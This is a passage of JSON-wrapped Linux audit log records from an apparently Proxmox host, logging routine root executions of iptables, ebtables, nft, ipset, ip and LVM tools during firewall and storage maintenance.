name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965628732,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965628.732:66424): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.554:63243): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60682 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305820,"@rawstring":"node=pve type=PATH msg=audit(1781966305.820:69255): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965628732,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965628.732:66423): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964925547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.547:63242): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60681 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305820,"@rawstring":"node=pve type=PATH msg=audit(1781966305.820:69255): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.779:66422): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964925541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.541:63241): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305817,"@rawstring":"node=pve type=PATH msg=audit(1781966305.817:69254): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625775,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.775:66421): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964925535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.535:63240): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305817,"@rawstring":"node=pve type=PATH msg=audit(1781966305.817:69254): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.773:66420): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.528:63239): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305814,"@rawstring":"node=pve type=PATH msg=audit(1781966305.814:69253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.773:66419): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.524:63238): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b028c37a740 items=0 ppid=1156 pid=60677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966305814,"@rawstring":"node=pve type=PATH msg=audit(1781966305.814:69253): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.769:66418): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.522:63237): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305813,"@rawstring":"node=pve type=PATH msg=audit(1781966305.813:69252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.760:66417): proctitle=\"ip6tables-save\""} {"@timestamp":1781964925517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.517:63236): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60676 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305813,"@rawstring":"node=pve type=PATH msg=audit(1781966305.813:69252): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.751:66416): proctitle=\"iptables-save\""} {"@timestamp":1781964925511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.511:63235): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60675 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305813,"@rawstring":"node=pve type=PATH msg=audit(1781966305.813:69251): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.743:66415): proctitle=\"ip6tables-save\""} {"@timestamp":1781964925506,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.506:63234): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305809,"@rawstring":"node=pve type=PATH msg=audit(1781966305.809:69250): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.734:66414): proctitle=\"iptables-save\""} {"@timestamp":1781964925500,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.500:63233): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305809,"@rawstring":"node=pve type=PATH msg=audit(1781966305.809:69250): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.728:66413): proctitle=\"ebtables-restore\""} {"@timestamp":1781964925495,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.495:63232): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae1310 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305809,"@rawstring":"node=pve type=PATH msg=audit(1781966305.809:69250): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.724:66412): proctitle=\"ebtables-restore\""} {"@timestamp":1781964925488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.488:63231): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305804,"@rawstring":"node=pve type=PATH msg=audit(1781966305.804:69249): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.717:66411): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964925481,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.481:63230): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305804,"@rawstring":"node=pve type=PATH msg=audit(1781966305.804:69249): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625708,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.708:66410): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964925478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.478:63229): arch=c000003e syscall=59 success=yes exit=0 a0=573bd8b75d30 a1=573bd8b81af0 a2=573bd8b4f680 a3=5 items=2 ppid=60663 pid=60669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305798,"@rawstring":"node=pve type=PATH msg=audit(1781966305.798:69248): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.700:66409): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964925474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.474:63228): arch=c000003e syscall=59 success=yes exit=0 a0=573bb17c4ac8 a1=7fff330891f0 a2=573bd8b4f680 a3=573bb17a824e items=2 ppid=60663 pid=60665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305798,"@rawstring":"node=pve type=PATH msg=audit(1781966305.798:69248): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.691:66408): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964925473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.473:63227): arch=c000003e syscall=59 success=yes exit=0 a0=7fff330891b0 a1=573bd8b713d0 a2=573bd8b4f680 a3=5 items=2 ppid=60663 pid=60664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305791,"@rawstring":"node=pve type=PATH msg=audit(1781966305.791:69247): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.684:66407): proctitle=697073657400726573746F7265"} {"@timestamp":1781964925469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.469:63225): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60663 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305791,"@rawstring":"node=pve type=PATH msg=audit(1781966305.791:69247): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.675:66406): proctitle=\"ip6tables-save\""} {"@timestamp":1781964925463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.463:63224): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305784,"@rawstring":"node=pve type=PATH msg=audit(1781966305.784:69246): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.667:66405): proctitle=\"iptables-save\""} {"@timestamp":1781964925456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.456:63223): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305784,"@rawstring":"node=pve type=PATH msg=audit(1781966305.784:69246): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.663:66404): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964925451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.451:63222): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb745feb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305778,"@rawstring":"node=pve type=PATH msg=audit(1781966305.778:69245): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.655:66403): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964925445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.445:63221): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305778,"@rawstring":"node=pve type=PATH msg=audit(1781966305.778:69245): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.654:66402): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964925438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964925.438:63220): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e04a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305771,"@rawstring":"node=pve type=PATH msg=audit(1781966305.771:69244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.654:66401): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964924278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964924.278:63219): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1920 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305771,"@rawstring":"node=pve type=PATH msg=audit(1781966305.771:69244): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.650:66400): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964924251,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964924.251:63218): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ab0c0 a1=64f8d73aa7a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305762,"@rawstring":"node=pve type=PATH msg=audit(1781966305.762:69243): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625638,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.638:66399): proctitle=\"ip6tables-save\""} {"@timestamp":1781964921141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964921.141:63217): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305762,"@rawstring":"node=pve type=PATH msg=audit(1781966305.762:69243): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.629:66398): proctitle=\"iptables-save\""} {"@timestamp":1781964921135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964921.135:63214): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305757,"@rawstring":"node=pve type=PATH msg=audit(1781966305.757:69242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625615,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.615:66397): proctitle=69707365740073617665"} {"@timestamp":1781964916120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964916.120:63211): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305757,"@rawstring":"node=pve type=PATH msg=audit(1781966305.757:69242): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.603:66396): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964916102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964916.102:63208): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305751,"@rawstring":"node=pve type=PATH msg=audit(1781966305.751:69241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965625582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965625.582:66395): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964915427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964915.427:63205): arch=c000003e syscall=59 success=yes exit=0 a0=63162edcdb20 a1=63162edd99f0 a2=63162eda7680 a3=5 items=2 ppid=60643 pid=60649 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305751,"@rawstring":"node=pve type=PATH msg=audit(1781966305.751:69241): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965624822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965624.822:66394): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} 